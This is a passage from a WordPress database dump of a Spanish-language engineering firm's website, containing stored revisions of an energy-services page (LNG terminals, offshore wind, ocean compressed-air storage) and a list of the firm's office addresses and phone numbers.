class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">Energía eólica costa afuera</h1>\r\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\"><div class=\"box_green-ports\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></div></div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">Almacenamiento de energía del océano</h1>\r\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más\r\n• Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento \r\n• Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica \r\n• La eficiencia total es de 75-80% \r\n• Capacidad de arranque en negro \r\n• Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” \r\n• Larga vida útil con mantenimiento mínimo\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">energía alternativa</h1>\r\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','inherit','open','open','','537-revision-7','','','2012-11-12 06:36:36','2012-11-12 06:36:36','',537,'http://moffattnichol.com/spanish/537-revision-7/',0,'revision','',0),(2751,1,'2012-11-12 06:37:02','2012-11-12 06:37:02','<div class=\"content_faq\">\r\n<h3>servicios de energía</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\r\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">Terminales de GNL</h1>\r\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">Energía eólica costa afuera</h1>\r\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\"><div class=\"box_green-ports\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></div></div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">Almacenamiento de energía del océano</h1>\r\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más\r\n• Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento \r\n• Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica \r\n• La eficiencia total es de 75-80% \r\n• Capacidad de arranque en negro \r\n• Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” \r\n• Larga vida útil con mantenimiento mínimo\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">energía alternativa</h1>\r\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','inherit','open','open','','537-revision-8','','','2012-11-12 06:37:02','2012-11-12 06:37:02','',537,'http://moffattnichol.com/spanish/537-revision-8/',0,'revision','',0),(2752,1,'2012-06-15 12:23:23','2012-06-15 12:23:23','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"27\">Charleston</h2>\r\n<strong>dirección</strong>\r\n\r\n4975 Lacross Road, Suite 151\r\n\r\nNorth Charleston, SC 29406\r\n\r\n<strong>teléfono</strong>\r\n\r\n+843-576-3750\r\n\r\n<strong>fax</strong>\r\n\r\n+843-576-3755\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÚ</h2>\r\n<strong>dirección</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>dirección</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>dirección</strong>\r\n\r\nFifth Floor, 35 Great St. Helen’s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+ 44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>dirección</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>dirección</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>dirección</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n757-628-8244\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>dirección</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>dirección</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÁ</h2>\r\n<strong>dirección</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamá, República de Panamá\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+ 507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>dirección</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>dirección</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>dirección</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\r\n<strong>dirección</strong>\r\n\r\nRua Farme de Amoedo, 56 / 8° andar\r\n\r\nIpanema – Río de Janeiro / RJ\r\n\r\nCEP 22420-020\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 2103-4630\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 